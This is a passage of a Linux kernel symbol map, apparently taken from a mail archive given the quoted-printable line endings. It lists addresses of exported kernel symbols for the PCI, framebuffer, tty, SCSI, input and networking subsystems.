103130c8 r __ksymtab_pci_scan_single_device=0A=
103130d0 r __ksymtab_pci_scan_bridge=0A=
103130d8 r __ksymtab_pci_scan_slot=0A=
103130e0 r __ksymtab_pci_do_scan_bus=0A=
103130e8 r __ksymtab_pci_add_new_bus=0A=
103130f0 r __ksymtab_pci_scan_bus_parented=0A=
103130f8 r __ksymtab_pci_root_buses=0A=
10313100 r __ksymtab_pci_remove_behind_bridge=0A=
10313108 r __ksymtab_pci_remove_bus_device=0A=
10313110 r __ksymtab_pci_remove_bus=0A=
10313118 r __ksymtab_pci_remove_device_safe=0A=
10313120 r __ksymtab_pci_pci_problems=0A=
10313128 r __ksymtab_isa_dma_bridge_buggy=0A=
10313130 r __ksymtab_pci_enable_wake=0A=
10313138 r __ksymtab_pci_restore_state=0A=
10313140 r __ksymtab_pci_save_state=0A=
10313148 r __ksymtab_pci_set_power_state=0A=
10313150 r __ksymtab_pci_find_parent_resource=0A=
10313158 r __ksymtab_pci_assign_resource=0A=
10313160 r __ksymtab_pci_set_consistent_dma_mask=0A=
10313168 r __ksymtab_pci_set_dma_mask=0A=
10313170 r __ksymtab_pci_clear_mwi=0A=
10313178 r __ksymtab_pci_set_mwi=0A=
10313180 r __ksymtab_pci_set_master=0A=
10313188 r __ksymtab_pci_request_region=0A=
10313190 r __ksymtab_pci_release_region=0A=
10313198 r __ksymtab_pci_request_regions=0A=
103131a0 r __ksymtab_pci_release_regions=0A=
103131a8 r __ksymtab_pci_bus_find_capability=0A=
103131b0 r __ksymtab_pci_find_capability=0A=
103131b8 r __ksymtab_pci_bus_max_busnr=0A=
103131c0 r __ksymtab_pci_max_busnr=0A=
103131c8 r __ksymtab_pci_disable_device=0A=
103131d0 r __ksymtab_pci_enable_device=0A=
103131d8 r __ksymtab_pci_enable_device_bars=0A=
103131e0 r __ksymtab_pci_choose_state=0A=
103131e8 r __ksymtab_pci_fixup_device=0A=
103131f0 r __ksymtab_pcie_mch_quirk=0A=
103131f8 r __ksymtab_pci_dev_put=0A=
10313200 r __ksymtab_pci_dev_get=0A=
10313208 r __ksymtab_pci_bus_type=0A=
10313210 r __ksymtab_pci_dev_driver=0A=
10313218 r __ksymtab_pci_unregister_driver=0A=
10313220 r __ksymtab___pci_register_driver=0A=
10313228 r __ksymtab_pci_match_device=0A=
10313230 r __ksymtab_pci_match_id=0A=
10313238 r __ksymtab_pci_get_class=0A=
10313240 r __ksymtab_pci_get_slot=0A=
10313248 r __ksymtab_pci_get_subsys=0A=
10313250 r __ksymtab_pci_get_device=0A=
10313258 r __ksymtab_pci_find_slot=0A=
10313260 r __ksymtab_pci_find_device_reverse=0A=
10313268 r __ksymtab_pci_find_device=0A=
10313270 r __ksymtab_pci_find_next_bus=0A=
10313278 r __ksymtab_pci_find_bus=0A=
10313280 r __ksymtab_pci_dev_present=0A=
10313288 r __ksymtab_pci_remove_rom=0A=
10313290 r __ksymtab_pci_unmap_rom=0A=
10313298 r __ksymtab_pci_map_rom_copy=0A=
103132a0 r __ksymtab_pci_map_rom=0A=
103132a8 r __ksymtab_pci_proc_detach_bus=0A=
103132b0 r __ksymtab_pci_proc_attach_bus=0A=
103132b8 r __ksymtab_pci_proc_attach_device=0A=
103132c0 r __ksymtab_pci_bus_assign_resources=0A=
103132c8 r __ksymtab_pci_bus_size_bridges=0A=
103132d0 r __ksymtab_pci_setup_cardbus=0A=
103132d8 r __ksymtab_gsc_claim_irq=0A=
103132e0 r __ksymtab_gsc_alloc_irq=0A=
103132e8 r __ksymtab_sti_get_rom=0A=
103132f0 r __ksymtab_get_default_font=0A=
103132f8 r __ksymtab_find_font=0A=
10313300 r __ksymtab_fbcon_set_bitops=0A=
10313308 r __ksymtab_soft_cursor=0A=
10313310 r __ksymtab_fb_new_modelist=0A=
10313318 r __ksymtab_fb_get_options=0A=
10313320 r __ksymtab_fb_unregister_client=0A=
10313328 r __ksymtab_fb_register_client=0A=
10313330 r __ksymtab_fb_set_suspend=0A=
10313338 r __ksymtab_fb_get_buffer_offset=0A=
10313340 r __ksymtab_fb_pan_display=0A=
10313348 r __ksymtab_fb_blank=0A=
10313350 r __ksymtab_fb_set_var=0A=
10313358 r __ksymtab_fb_show_logo=0A=
10313360 r __ksymtab_fb_prepare_logo=0A=
10313368 r __ksymtab_registered_fb=0A=
10313370 r __ksymtab_num_registered_fb=0A=
10313378 r __ksymtab_unregister_framebuffer=0A=
10313380 r __ksymtab_register_framebuffer=0A=
10313388 r __ksymtab_fb_con_duit=0A=
10313390 r __ksymtab_fb_pad_unaligned_buffer=0A=
10313398 r __ksymtab_fb_pad_aligned_buffer=0A=
103133a0 r __ksymtab_fb_get_color_depth=0A=
103133a8 r __ksymtab_fb_destroy_modedb=0A=
103133b0 r __ksymtab_fb_validate_mode=0A=
103133b8 r __ksymtab_fb_get_mode=0A=
103133c0 r __ksymtab_fb_firmware_edid=0A=
103133c8 r __ksymtab_fb_edid_to_monspecs=0A=
103133d0 r __ksymtab_fb_parse_edid=0A=
103133d8 r __ksymtab_fb_invert_cmaps=0A=
103133e0 r __ksymtab_fb_default_cmap=0A=
103133e8 r __ksymtab_fb_set_cmap=0A=
103133f0 r __ksymtab_fb_copy_cmap=0A=
103133f8 r __ksymtab_fb_dealloc_cmap=0A=
10313400 r __ksymtab_fb_alloc_cmap=0A=
10313408 r __ksymtab_framebuffer_release=0A=
10313410 r __ksymtab_framebuffer_alloc=0A=
10313418 r __ksymtab_fb_find_mode=0A=
10313420 r __ksymtab_fb_videomode_to_modelist=0A=
10313428 r __ksymtab_fb_find_nearest_mode=0A=
10313430 r __ksymtab_fb_find_best_mode=0A=
10313438 r __ksymtab_fb_match_mode=0A=
10313440 r __ksymtab_fb_destroy_modelist=0A=
10313448 r __ksymtab_fb_delete_videomode=0A=
10313450 r __ksymtab_fb_add_videomode=0A=
10313458 r __ksymtab_fb_mode_is_equal=0A=
10313460 r __ksymtab_fb_var_to_videomode=0A=
10313468 r __ksymtab_fb_videomode_to_var=0A=
10313470 r __ksymtab_fb_find_best_display=0A=
10313478 r __ksymtab_fb_find_mode_cvt=0A=
10313480 r __ksymtab_cfb_fillrect=0A=
10313488 r __ksymtab_cfb_copyarea=0A=
10313490 r __ksymtab_cfb_imageblit=0A=
10313498 r __ksymtab_secure_tcp_sequence_number=0A=
103134a0 r __ksymtab_generate_random_uuid=0A=
103134a8 r __ksymtab_get_random_bytes=0A=
103134b0 r __ksymtab_add_disk_randomness=0A=
103134b8 r __ksymtab_tty_unregister_driver=0A=
103134c0 r __ksymtab_tty_register_driver=0A=
103134c8 r __ksymtab_tty_set_operations=0A=
103134d0 r __ksymtab_put_tty_driver=0A=
103134d8 r __ksymtab_alloc_tty_driver=0A=
103134e0 r __ksymtab_tty_unregister_device=0A=
103134e8 r __ksymtab_tty_register_device=0A=
103134f0 r __ksymtab_tty_flip_buffer_push=0A=
103134f8 r __ksymtab_tty_get_baud_rate=0A=
10313500 r __ksymtab_tty_termios_baud_rate=0A=
10313508 r __ksymtab_do_SAK=0A=
10313510 r __ksymtab_start_tty=0A=
10313518 r __ksymtab_stop_tty=0A=
10313520 r __ksymtab_tty_hung_up_p=0A=
10313528 r __ksymtab_tty_vhangup=0A=
10313530 r __ksymtab_tty_hangup=0A=
10313538 r __ksymtab_tty_check_change=0A=
10313540 r __ksymtab_tty_unregister_ldisc=0A=
10313548 r __ksymtab_tty_register_ldisc=0A=
10313550 r __ksymtab_tty_name=0A=
10313558 r __ksymtab_tty_std_termios=0A=
10313560 r __ksymtab_n_tty_ioctl=0A=
10313568 r __ksymtab_tty_wait_until_sent=0A=
10313570 r __ksymtab_misc_deregister=0A=
10313578 r __ksymtab_misc_register=0A=
10313580 r __ksymtab_con_copy_unimap=0A=
10313588 r __ksymtab_con_set_default_unimap=0A=
10313590 r __ksymtab_give_up_console=0A=
10313598 r __ksymtab_take_over_console=0A=
103135a0 r __ksymtab_vc_cons=0A=
103135a8 r __ksymtab_console_blanked=0A=
103135b0 r __ksymtab_console_blank_hook=0A=
103135b8 r __ksymtab_fg_console=0A=
103135c0 r __ksymtab_vc_resize=0A=
103135c8 r __ksymtab_redraw_screen=0A=
103135d0 r __ksymtab_update_region=0A=
103135d8 r __ksymtab_default_blu=0A=
103135e0 r __ksymtab_default_grn=0A=
103135e8 r __ksymtab_default_red=0A=
103135f0 r __ksymtab_color_table=0A=
103135f8 r __ksymtab_do_unblank_screen=0A=
10313600 r __ksymtab_do_blank_screen=0A=
10313608 r __ksymtab_serio_reconnect=0A=
10313610 r __ksymtab_serio_rescan=0A=
10313618 r __ksymtab_serio_close=0A=
10313620 r __ksymtab_serio_open=0A=
10313628 r __ksymtab_serio_unregister_driver=0A=
10313630 r __ksymtab___serio_register_driver=0A=
10313638 r __ksymtab___serio_unregister_port_delayed=0A=
10313640 r __ksymtab_serio_unregister_child_port=0A=
10313648 r __ksymtab_serio_unregister_port=0A=
10313650 r __ksymtab___serio_register_port=0A=
10313658 r __ksymtab_serio_interrupt=0A=
10313660 r __ksymtab_ps2_cmd_aborted=0A=
10313668 r __ksymtab_ps2_handle_response=0A=
10313670 r __ksymtab_ps2_handle_ack=0A=
10313678 r __ksymtab_ps2_schedule_command=0A=
10313680 r __ksymtab_ps2_command=0A=
10313688 r __ksymtab_ps2_drain=0A=
10313690 r __ksymtab_ps2_sendbyte=0A=
10313698 r __ksymtab_ps2_init=0A=
103136a0 r __ksymtab_cpu_sysdev_class=0A=
103136a8 r __ksymtab_dma_pool_free=0A=
103136b0 r __ksymtab_dma_pool_alloc=0A=
103136b8 r __ksymtab_dma_pool_destroy=0A=
103136c0 r __ksymtab_dma_pool_create=0A=
103136c8 r __ksymtab_register_firmware=0A=
103136d0 r __ksymtab_request_firmware_nowait=0A=
103136d8 r __ksymtab_request_firmware=0A=
103136e0 r __ksymtab_release_firmware=0A=
103136e8 r __ksymtab_loopback_dev=0A=
103136f0 r __ksymtab_scsi_device_cancel=0A=
103136f8 r __ksymtab_scsi_device_lookup=0A=
10313700 r __ksymtab___scsi_device_lookup=0A=
10313708 r __ksymtab_scsi_device_lookup_by_target=0A=
10313710 r __ksymtab___scsi_device_lookup_by_target=0A=
10313718 r __ksymtab_starget_for_each_device=0A=
10313720 r __ksymtab___scsi_iterate_devices=0A=
10313728 r __ksymtab_scsi_device_put=0A=
10313730 r __ksymtab_scsi_device_get=0A=
10313738 r __ksymtab_scsi_track_queue_full=0A=
10313740 r __ksymtab_scsi_adjust_queue_depth=0A=
10313748 r __ksymtab_scsi_finish_command=0A=
10313750 r __ksymtab_scsi_put_command=0A=
10313758 r __ksymtab_scsi_get_command=0A=
10313760 r __ksymtab_scsi_release_request=0A=
10313768 r __ksymtab_scsi_allocate_request=0A=
10313770 r __ksymtab_scsi_device_types=0A=
10313778 r __ksymtab_scsi_is_host_device=0A=
10313780 r __ksymtab_scsi_host_put=0A=
10313788 r __ksymtab_scsi_host_get=0A=
10313790 r __ksymtab_scsi_host_lookup=0A=
10313798 r __ksymtab_scsi_unregister=0A=
103137a0 r __ksymtab_scsi_register=0A=
103137a8 r __ksymtab_scsi_host_alloc=0A=
103137b0 r __ksymtab_scsi_add_host=0A=
103137b8 r __ksymtab_scsi_remove_host=0A=
103137c0 r __ksymtab_scsi_host_set_state=0A=
103137c8 r __ksymtab_scsi_nonblockable_ioctl=0A=
103137d0 r __ksymtab_scsi_ioctl=0A=
103137d8 r __ksymtab_scsi_ioctl_send_command=0A=
103137e0 r __ksymtab_scsi_set_medium_removal=0A=
103137e8 r __ksymtab_scsi_print_command=0A=
103137f0 r __ksymtab_scsi_print_msg=0A=
103137f8 r __ksymtab_scsi_print_req_sense=0A=
10313800 r __ksymtab_scsi_print_sense=0A=
10313808 r __ksymtab___scsi_print_sense=0A=
10313810 r __ksymtab_scsi_print_sense_hdr=0A=
10313818 r __ksymtab_scsi_extd_sense_format=0A=
10313820 r __ksymtab_scsi_sense_key_string=0A=
10313828 r __ksymtab_scsi_print_status=0A=
10313830 r __ksymtab___scsi_print_command=0A=
10313838 r __ksymtab_scsi_partsize=0A=
10313840 r __ksymtab_scsicam_bios_param=0A=
10313848 r __ksymtab_scsi_bios_ptable=0A=
10313850 r __ksymtab_scsi_get_sense_info_fld=0A=
10313858 r __ksymtab_scsi_sense_desc_find=0A=
10313860 r __ksymtab_scsi_command_normalize_sense=0A=
10313868 r __ksymtab_scsi_request_normalize_sense=0A=
10313870 r __ksymtab_scsi_normalize_sense=0A=
10313878 r __ksymtab_scsi_reset_provider=0A=
10313880 r __ksymtab_scsi_report_device_reset=0A=
10313888 r __ksymtab_scsi_report_bus_reset=0A=
10313890 r __ksymtab_scsi_block_when_processing_errors=0A=
10313898 r __ksymtab_scsi_target_resume=0A=
103138a0 r __ksymtab_scsi_target_quiesce=0A=
103138a8 r __ksymtab_scsi_device_resume=0A=
103138b0 r __ksymtab_scsi_device_quiesce=0A=
103138b8 r __ksymtab_scsi_device_set_state=0A=
103138c0 r __ksymtab_scsi_test_unit_ready=0A=
103138c8 r __ksymtab_scsi_mode_sense=0A=
103138d0 r __ksymtab_scsi_unblock_requests=0A=
103138d8 r __ksymtab_scsi_block_requests=0A=
103138e0 r __ksymtab_scsi_calculate_bounce_limit=0A=
103138e8 r __ksymtab_scsi_io_completion=0A=
103138f0 r __ksymtab_scsi_execute_req=0A=
103138f8 r __ksymtab_scsi_execute=0A=
10313900 r __ksymtab_scsi_do_req=0A=
10313908 r __ksymtab_scsi_free_host_dev=0A=
10313910 r __ksymtab_scsi_get_host_dev=0A=
10313918 r __ksymtab_scsi_scan_host=0A=
10313920 r __ksymtab_scsi_scan_target=0A=
10313928 r __ksymtab_scsi_rescan_device=0A=
10313930 r __ksymtab_scsi_add_device=0A=
10313938 r __ksymtab___scsi_add_device=0A=
10313940 r __ksymtab_int_to_scsilun=0A=
10313948 r __ksymtab_scsi_is_target_device=0A=
10313950 r __ksymtab_scsi_is_sdev_device=0A=
10313958 r __ksymtab_scsi_register_interface=0A=
10313960 r __ksymtab_scsi_register_driver=0A=
10313968 r __ksymtab_scsi_remove_target=0A=
10313970 r __ksymtab_scsi_remove_device=0A=
10313978 r __ksymtab_spi_release_transport=0A=
10313980 r __ksymtab_spi_attach_transport=0A=
10313988 r __ksymtab_spi_display_xfer_agreement=0A=
10313990 r __ksymtab_spi_schedule_dv_device=0A=
10313998 r __ksymtab_spi_dv_device=0A=
103139a0 r __ksymtab_NCR_700_intr=0A=
103139a8 r __ksymtab_NCR_700_release=0A=
103139b0 r __ksymtab_NCR_700_detect=0A=
103139b8 r __ksymtab_cdrom_get_media_event=0A=
103139c0 r __ksymtab_init_cdrom_command=0A=
103139c8 r __ksymtab_cdrom_mode_sense=0A=
103139d0 r __ksymtab_cdrom_mode_select=0A=
103139d8 r __ksymtab_cdrom_number_of_slots=0A=
103139e0 r __ksymtab_cdrom_media_changed=0A=
103139e8 r __ksymtab_cdrom_ioctl=0A=
103139f0 r __ksymtab_cdrom_release=0A=
103139f8 r __ksymtab_cdrom_open=0A=
10313a00 r __ksymtab_unregister_cdrom=0A=
10313a08 r __ksymtab_register_cdrom=0A=
10313a10 r __ksymtab_cdrom_get_last_written=0A=
10313a18 r __ksymtab_input_event=0A=
10313a20 r __ksymtab_input_flush_device=0A=
10313a28 r __ksymtab_input_accept_process=0A=
10313a30 r __ksymtab_input_close_device=0A=
10313a38 r __ksymtab_input_open_device=0A=
10313a40 r __ksymtab_input_release_device=0A=
10313a48 r __ksymtab_input_grab_device=0A=
10313a50 r __ksymtab_input_unregister_handler=0A=
10313a58 r __ksymtab_input_register_handler=0A=
10313a60 r __ksymtab_input_unregister_device=0A=
10313a68 r __ksymtab_input_register_device=0A=
10313a70 r __ksymtab_input_allocate_device=0A=
10313a78 r __ksymtab_kernel_recvmsg=0A=
10313a80 r __ksymtab_kernel_sendmsg=0A=
10313a88 r __ksymtab_sockfd_lookup=0A=
10313a90 r __ksymtab_sock_wake_async=0A=
10313a98 r __ksymtab_sock_unregister=0A=
10313aa0 r __ksymtab_sock_sendmsg=0A=
10313aa8 r __ksymtab_sock_release=0A=
10313ab0 r __ksymtab_sock_register=0A=
10313ab8 r __ksymtab_sock_recvmsg=0A=
10313ac0 r __ksymtab_sock_map_fd=0A=
10313ac8 r __ksymtab_sock_create_lite=0A=
10313ad0 r __ksymtab_sock_create_kern=0A=
10313ad8 r __ksymtab_sock_create=0A=
10313ae0 r __ksymtab_move_addr_to_user=0A=
10313ae8 r __ksymtab_move_addr_to_kernel=0A=
10313af0 r __ksymtab_dlci_ioctl_set=0A=
10313af8 r __ksymtab_vlan_ioctl_set=0A=
10313b00 r __ksymtab_brioctl_set=0A=
10313b08 r __ksymtab_sysctl_wmem_max=0A=
10313b10 r __ksymtab_sysctl_rmem_max=0A=
10313b18 r __ksymtab_sysctl_optmem_max=0A=
10313b20 r __ksymtab_sock_i_ino=0A=
10313b28 r __ksymtab_sock_i_uid=0A=
10313b30 r __ksymtab_sock_wmalloc=0A=
10313b38 r __ksymtab_sock_wfree=0A=
10313b40 r __ksymtab_sock_setsockopt=0A=
10313b48 r __ksymtab_sock_rfree=0A=
10313b50 r __ksymtab_sock_no_socketpair=0A=
10313b58 r __ksymtab_sock_no_shutdown=0A=
10313b60 r __ksymtab_sock_no_setsockopt=0A=
10313b68 r __ksymtab_sock_no_sendpage=0A=
10313b70 r __ksymtab_sock_no_sendmsg=0A=
10313b78 r __ksymtab_sock_no_recvmsg=0A=
10313b80 r __ksymtab_sock_no_poll=0A=
10313b88 r __ksymtab_sock_no_mmap=0A=
10313b90 r __ksymtab_sock_no_listen=0A=
10313b98 r __ksymtab_sock_no_ioctl=0A=
10313ba0 r __ksymtab_sock_no_getsockopt=0A=
10313ba8 r __ksymtab_sock_no_getname=0A=
10313bb0 r __ksymtab_sock_no_connect=0A=
10313bb8 r __ksymtab_sock_no_bind=0A=
10313bc0 r __ksymtab_sock_no_accept=0A=
10313bc8 r __ksymtab_sock_kmalloc=0A=
10313bd0 r __ksymtab_sock_kfree_s=0A=
10313bd8 r __ksymtab_sock_init_data=0A=
10313be0 r __ksymtab_sock_alloc_send_skb=0A=
10313be8 r __ksymtab_sk_send_sigurg=0A=
10313bf0 r __ksymtab_sk_free=0A=
10313bf8 r __ksymtab_sk_alloc=0A=
10313c00 r __ksymtab_proto_unregister=0A=
10313c08 r __ksymtab_proto_register=0A=
10313c10 r __ksymtab_sk_common_release=0A=
10313c18 r __ksymtab_sock_common_setsockopt=0A=
10313c20 r __ksymtab_sock_common_recvmsg=0A=
10313c28 r __ksymtab_sock_common_getsockopt=0A=
10313c30 r __ksymtab_sock_enable_timestamp=0A=
10313c38 r __ksymtab_sock_get_timestamp=0A=
10313c40 r __ksymtab_release_sock=0A=
10313c48 r __ksymtab_lock_sock=0A=
10313c50 r __ksymtab_sk_stop_timer=0A=
10313c58 r __ksymtab_sk_reset_timer=0A=
10313c60 r __ksymtab_sk_wait_data=0A=
10313c68 r __ksymtab_reqsk_queue_destroy=0A=
10313c70 r __ksymtab_reqsk_queue_alloc=0A=
10313c78 r __ksymtab_skb_append_datato_frags=0A=
10313c80 r __ksymtab_skb_find_text=0A=
10313c88 r __ksymtab_skb_abort_seq_read=0A=
10313c90 r __ksymtab_skb_seq_read=0A=
10313c98 r __ksymtab_skb_prepare_seq_read=0A=
10313ca0 r __ksymtab_skb_split=0A=
10313ca8 r __ksymtab_skb_append=0A=
10313cb0 r __ksymtab_skb_unlink=0A=
10313cb8 r __ksymtab_skb_queue_tail=0A=
10313cc0 r __ksymtab_skb_queue_head=0A=
10313cc8 r __ksymtab_skb_queue_purge=0A=
10313cd0 r __ksymtab_skb_insert=0A=
10313cd8 r __ksymtab_skb_dequeue_tail=0A=
10313ce0 r __ksymtab_skb_dequeue=0A=
10313ce8 r __ksymtab_skb_under_panic=0A=
10313cf0 r __ksymtab_skb_realloc_headroom=0A=
10313cf8 r __ksymtab_skb_pad=0A=
10313d00 r __ksymtab_skb_over_panic=0A=
10313d08 r __ksymtab_skb_copy_expand=0A=
10313d10 r __ksymtab_skb_copy_bits=0A=
10313d18 r __ksymtab_skb_copy_and_csum_dev=0A=
10313d20 r __ksymtab_skb_copy_and_csum_bits=0A=
10313d28 r __ksymtab_skb_copy=0A=
10313d30 r __ksymtab_skb_clone_fraglist=0A=
10313d38 r __ksymtab_skb_clone=0A=
10313d40 r __ksymtab_skb_checksum=0A=
10313d48 r __ksymtab_pskb_expand_head=0A=
10313d50 r __ksymtab_pskb_copy=0A=
10313d58 r __ksymtab___alloc_skb=0A=
10313d60 r __ksymtab___pskb_pull_tail=0A=
10313d68 r __ksymtab___kfree_skb=0A=
10313d70 r __ksymtab____pskb_trim=0A=
10313d78 r __ksymtab_skb_store_bits=0A=
10313d80 r __ksymtab_memcpy_toiovec=0A=
10313d88 r __ksymtab_memcpy_fromiovecend=0A=
10313d90 r __ksymtab_memcpy_fromiovec=0A=
10313d98 r __ksymtab_csum_partial_copy_fromiovecend=0A=
10313da0 r __ksymtab_skb_recv_datagram=0A=
10313da8 r __ksymtab_skb_free_datagram=0A=
10313db0 r __ksymtab_skb_copy_datagram_iovec=0A=
10313db8 r __ksymtab_skb_copy_and_csum_datagram_iovec=0A=
10313dc0 r __ksymtab_datagram_poll=0A=
10313dc8 r __ksymtab___skb_checksum_complete=0A=
10313dd0 r __ksymtab_sk_stream_kill_queues=0A=
10313dd8 r __ksymtab_sk_stream_mem_schedule=0A=
10313de0 r __ksymtab___sk_stream_mem_reclaim=0A=
10313de8 r __ksymtab_sk_stream_error=0A=
10313df0 r __ksymtab_sk_stream_rfree=0A=
10313df8 r __ksymtab_sk_stream_wait_memory=0A=
10313e00 r __ksymtab_sk_stream_wait_close=0A=
10313e08 r __ksymtab_sk_stream_wait_connect=0A=
10313e10 r __ksymtab_sk_stream_write_space=0A=
10313e18 r __ksymtab_scm_fp_dup=0A=
10313e20 r __ksymtab_scm_detach_fds=0A=
10313e28 r __ksymtab_put_cmsg=0A=
10313e30 r __ksymtab___scm_send=0A=
10313e38 r __ksymtab___scm_destroy=0A=
10313e40 r __ksymtab_gnet_stats_finish_copy=0A=
10313e48 r __ksymtab_gnet_stats_copy_app=0A=
10313e50 r __ksymtab_gnet_stats_copy_queue=0A=
10313e58 r __ksymtab_gnet_stats_copy_rate_est=0A=
10313e60 r __ksymtab_gnet_stats_copy_basic=0A=
10313e68 r __ksymtab_gnet_stats_start_copy_compat=0A=
10313e70 r __ksymtab_gnet_stats_start_copy=0A=
10313e78 r __ksymtab_gen_replace_estimator=0A=
10313e80 r __ksymtab_gen_new_estimator=0A=
10313e88 r __ksymtab_gen_kill_estimator=0A=
10313e90 r __ksymtab_per_cpu__softnet_data=0A=
10313e98 r __ksymtab_dev_load=0A=
10313ea0 r __ksymtab_dev_get_flags=0A=
10313ea8 r __ksymtab_net_disable_timestamp=0A=
10313eb0 r __ksymtab_net_enable_timestamp=0A=
10313eb8 r __ksymtab_unregister_netdevice_notifier=0A=
10313ec0 r __ksymtab_unregister_netdevice=0A=
10313ec8 r __ksymtab_synchronize_net=0A=
10313ed0 r __ksymtab_skb_checksum_help=0A=
10313ed8 r __ksymtab_register_netdevice_notifier=0A=
10313ee0 r __ksymtab_register_netdevice=0A=
10313ee8 r __ksymtab_register_gifconf=0A=
10313ef0 r __ksymtab_netif_rx=0A=
10313ef8 r __ksymtab_netif_receive_skb=0A=
10313f00 r __ksymtab_netdev_state_change=0A=
10313f08 r __ksymtab_netdev_set_master=0A=
10313f10 r __ksymtab_netdev_boot_setup_check=0A=
10313f18 r __ksymtab_free_netdev=0A=
10313f20 r __ksymtab_dev_set_mac_address=0A=
10313f28 r __ksymtab_dev_set_mtu=0A=
10313f30 r __ksymtab_dev_change_flags=0A=
10313f38 r __ksymtab_dev_set_promiscuity=0A=
10313f40 r __ksymtab_dev_set_allmulti=0A=
10313f48 r __ksymtab_dev_remove_pack=0A=
10313f50 r __ksymtab_dev_queue_xmit=0A=
10313f58 r __ksymtab_dev_open=0A=
10313f60 r __ksymtab_dev_ioctl=0A=
10313f68 r __ksymtab_dev_get_by_name=0A=
10313f70 r __ksymtab_dev_get_by_index=0A=
10313f78 r __ksymtab_dev_get_by_flags=0A=
10313f80 r __ksymtab_dev_close=0A=
10313f88 r __ksymtab_dev_alloc_name=0A=
10313f90 r __ksymtab_dev_add_pack=0A=
10313f98 r __ksymtab___skb_linearize=0A=
10313fa0 r __ksymtab___dev_remove_pack=0A=
10313fa8 r __ksymtab___dev_get_by_name=0A=
10313fb0 r __ksymtab___dev_get_by_index=0A=
10313fb8 r __ksymtab_unregister_netdev=0A=
10313fc0 r __ksymtab_alloc_netdev=0A=
10313fc8 r __ksymtab_register_netdev=0A=
10313fd0 r __ksymtab_netif_rx_ni=0A=
10313fd8 r __ksymtab_netdev_rx_csum_fault=0A=
10313fe0 r __ksymtab___net_timestamp=0A=
10313fe8 r __ksymtab_netdev_features_change=0A=
10313ff0 r __ksymtab_dev_getfirstbyhwtype=0A=
10313ff8 r __ksymtab_dev_getbyhwaddr=0A=
10314000 r __ksymtab_dev_base_lock=0A=
10314008 r __ksymtab_dev_base=0A=
10314010 r __ksymtab_ethtool_op_get_ufo=0A=
10314018 r __ksymtab_ethtool_op_set_ufo=0A=
10314020 r __ksymtab_ethtool_op_set_tx_hw_csum=0A=
10314028 r __ksymtab_ethtool_op_set_tx_csum=0A=
10314030 r __ksymtab_ethtool_op_set_tso=0A=
10314038 r __ksymtab_ethtool_op_set_sg=0A=
10314040 r __ksymtab_ethtool_op_get_tx_csum=0A=
10314048 r __ksymtab_ethtool_op_get_tso=0A=
10314050 r __ksymtab_ethtool_op_get_sg=0A=
10314058 r __ksymtab_ethtool_op_get_link=0A=
10314060 r __ksymtab_dev_ethtool=0A=
10314068 r __ksymtab_dev_mc_upload=0A=
10314070 r __ksymtab_dev_mc_delete=0A=
10314078 r __ksymtab_dev_mc_add=0A=
10314080 r __ksymtab_dst_destroy=0A=
10314088 r __ksymtab_dst_alloc=0A=
10314090 r __ksymtab___dst_free=0A=
10314098 r __ksymtab_neigh_sysctl_unregister=0A=
103140a0 r __ksymtab_neigh_sysctl_register=0A=
103140a8 r __ksymtab_neightbl_set=0A=
103140b0 r __ksymtab_neightbl_dump_info=0A=
103140b8 r __ksymtab_pneigh_lookup=0A=
103140c0 r __ksymtab_pneigh_enqueue=0A=
103140c8 r __ksymtab_neigh_update_hhs=0A=
103140d0 r __ksymtab_neigh_update=0A=
103140d8 r __ksymtab_neigh_table_init=0A=
103140e0 r __ksymtab_neigh_table_clear=0A=
103140e8 r __ksymtab_neigh_resolve_output=0A=
103140f0 r __ksymtab_neigh_rand_reach_time=0A=
103140f8 r __ksymtab_neigh_parms_release=0A=
10314100 r __ksymtab_neigh_parms_alloc=0A=
10314108 r __ksymtab_neigh_lookup_nodev=0A=
10314110 r __ksymtab_neigh_lookup=0A=
10314118 r __ksymtab_neigh_ifdown=0A=
10314120 r __ksymtab_neigh_event_ns=0A=
10314128 r __ksymtab_neigh_dump_info=0A=
10314130 r __ksymtab_neigh_destroy=0A=
10314138 r __ksymtab_neigh_delete=0A=
10314140 r __ksymtab_neigh_create=0A=
10314148 r __ksymtab_neigh_connected_output=0A=
10314150 r __ksymtab_neigh_compat_output=0A=
10314158 r __ksymtab_neigh_changeaddr=0A=
10314160 r __ksymtab_neigh_add=0A=
10314168 r __ksymtab___neigh_event_send=0A=
10314170 r __ksymtab_neigh_seq_stop=0A=
10314178 r __ksymtab_neigh_seq_next=0A=
10314180 r __ksymtab_neigh_seq_start=0A=
10314188 r __ksymtab___neigh_for_each_release=0A=
10314190 r __ksymtab_neigh_for_each=0A=
10314198 r __ksymtab_rtnl_unlock=0A=
103141a0 r __ksymtab_rtnl_sem=0A=
103141a8 r __ksymtab_rtnl_lock_interruptible=0A=
103141b0 r __ksymtab_rtnl_lock=0A=
103141b8 r __ksymtab_rtnl=0A=
103141c0 r __ksymtab_rtnetlink_put_metrics=0A=
103141c8 r __ksymtab_rtnetlink_links=0A=
103141d0 r __ksymtab_rtattr_parse=0A=
103141d8 r __ksymtab_rtattr_strlcpy=0A=
103141e0 r __ksymtab___rta_fill=0A=
103141e8 r __ksymtab_in_aton=0A=
103141f0 r __ksymtab_net_srandom=0A=
103141f8 r __ksymtab_net_ratelimit=0A=
10314200 r __ksymtab_net_random=0A=
10314208 r __ksymtab_linkwatch_fire_event=0A=
10314210 r __ksymtab_sk_run_filter=0A=
10314218 r __ksymtab_sk_chk_filter=0A=
10314220 r __ksymtab_alloc_etherdev=0A=
10314228 r __ksymtab_ether_setup=0A=
10314230 r __ksymtab_eth_type_trans=0A=
10314238 r __ksymtab_make_8023_client=0A=
10314240 r __ksymtab_destroy_8023_client=0A=
10314248 r __ksymtab_qdisc_unlock_tree=0A=
10314250 r __ksymtab_qdisc_lock_tree=0A=
10314258 r __ksymtab_qdisc_restart=0A=
10314260 r __ksymtab_qdisc_reset=0A=
10314268 r __ksymtab_qdisc_destroy=0A=
10314270 r __ksymtab_qdisc_alloc=0A=
10314278 r __ksymtab_qdisc_create_dflt=0A=
10314280 r __ksymtab_noop_qdisc_ops=0A=
10314288 r __ksymtab_noop_qdisc=0A=
10314290 r __ksymtab_netif_carrier_off=0A=
10314298 r __ksymtab_netif_carrier_on=0A=
103142a0 r __ksymtab___netdev_watchdog_up=0A=
103142a8 r __ksymtab_netlink_unregister_notifier=0A=
103142b0 r __ksymtab_netlink_unicast=0A=
103142b8 r __ksymtab_netlink_set_nonroot=0A=
103142c0 r __ksymtab_netlink_set_err=0A=
103142c8 r __ksymtab_netlink_register_notifier=0A=
103142d0 r __ksymtab_netlink_kernel_create=0A=
103142d8 r __ksymtab_netlink_dump_start=0A=
